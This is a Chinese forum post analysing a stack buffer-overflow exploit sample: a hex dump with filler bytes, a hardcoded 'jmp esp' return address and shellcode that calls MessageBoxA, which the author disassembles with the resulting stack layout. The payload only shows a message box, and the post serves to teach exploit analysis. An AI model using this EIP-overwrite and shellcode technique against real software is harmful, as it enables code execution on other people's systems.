- UID
 - 60838
 
 注册时间2009-5-1
阅读权限10
最后登录1970-1-1
周游历练 
  
 
 
 
该用户从未签到  
 | 
 
 本帖最后由 [email protected] 于 2010-6-1 15:58 编辑  
 
 
 
 
原文 :https://www.chinapyg.com/viewthr ... &extra=page%3D1 
 
看到EM 刚好闲了下,于是蛋疼找虐玩了一下。 不太会写教程之类 仅仅是个LOG 见笑了。 
 
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F 
 
00000000   31 32 33 34 35 36 37 38  39 30 61 62 63 64 65 66   1234567890abcdef 
00000010   12 45 FA 7F 33 DB 53 68  2E 50 59 47 68 39 36 40   .E?3跾h.PYGh96@ 
00000020   39 8B C4 53 50 50 53 B8  EA 07 D5 77 FF D0         9嬆SPPS戈.誻 
 
分析如下 。 有问题可以跟帖问。 我郁闷了 写了半天的帖子没发出去 都丢掉了。 放个LOG算了。 
 
12 45 FA 7F 为地址 0x7ffa4512 内容 jmp esp 为系统的一个跳板 但是本例用了硬编码  
 
33 DB 53 68  2E 50 59 47 68 39 36 40   .E?3跾h.PYGh96@ 
00000020   39 8B C4 53 50 50 53 B8  EA 07 D5 77 FF D0         9嬆SPPS戈.誻 
这段为shellcode 内容如下 
 
 
xor     ebx, ebx 
push    ebx   // ‘0’ 
push    0x7070726F  
push    0x6F796877  // 要输出的字符传 内容就是 whyoorpp 
mov     eax, esp 
push    ebx  // 标准对MessageBox调用  参数右向左  
push    eax 
push    eax 
push    ebx 
mov     eax, 0x77d507ea  // MessageBoxA硬编码地址。。  
call    eax 
 
对比如下。 
 
int MessageBox( 
 
    HWND hWnd,        // handle of owner window 
    LPCTSTR lpText,        // address of text in message box 
    LPCTSTR lpCaption,        // address of title of message box   
    UINT uType         // style of message box 
   ); 
 
 
 
 
---------------------shellcode 
 
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F 
 
00000010   12 45 FA 7F                                        .E? 
 
利用地址0x7ffa4512上的 jmp esp作為跳板.修改EIP內容 
 
此刻堆棧上佈局如下 
 
ESP ==>  0012FB28      6853DB33 
ESP+4    0012FB2C      7070726F 
ESP+8    0012FB30      79687768 
ESP+C    0012FB34      53C48B6F 
ESP+10   0012FB38      B8535050 
ESP+14   0012FB3C      77D507EA    user32.MessageBoxA 
 
----------------- 
 
jmp esp 后 也就顺序执行了以上命令 构造了一段对MessageBoxA函数的调用   
 
如是。 如有错误请指出 谢谢围观。 |   
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?加入我们 
 
 
 
x
 
 
评分
- 
查看全部评分
 
 
 
 
 
 |